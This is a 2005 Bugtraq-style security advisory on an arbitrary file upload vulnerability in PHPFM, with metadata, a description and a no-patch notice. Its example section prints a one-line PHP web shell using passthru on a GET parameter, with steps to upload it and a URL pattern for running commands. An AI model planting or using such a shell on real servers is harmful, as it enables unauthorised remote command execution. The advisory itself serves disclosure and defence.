PHPFM Arbitrary File Upload Vulnerability

Bugtraq ID:	15335
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Nov 07 2005 12:00AM
Updated:	Nov 07 2005 12:00AM
Credit:	rUnViRuS is credited with the discovery of this vulnerability.
Vulnerable:	PHPFM PHPFM
Not Vulnerable:

PHPFM Arbitrary File Upload Vulnerability

PHPFM is prone to an arbitrary file upload vulnerability.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

PHPFM Arbitrary File Upload Vulnerability

No exploit is required.

An example has been provided:

the code shell :-
---------------
<pre>
<?
passthru($_GET['cmd']);
?>>

save as > cmd.php
now upload in PHPFM


http://www.esxample.com/[file upload name]/[files]/cmd.php?cmd=[command linux]

PHPFM Arbitrary File Upload Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

PHPFM Arbitrary File Upload Vulnerability

References:

• PHPFM Change Log (PHPFM)
  
• PHPFM Web Site (PHPFM)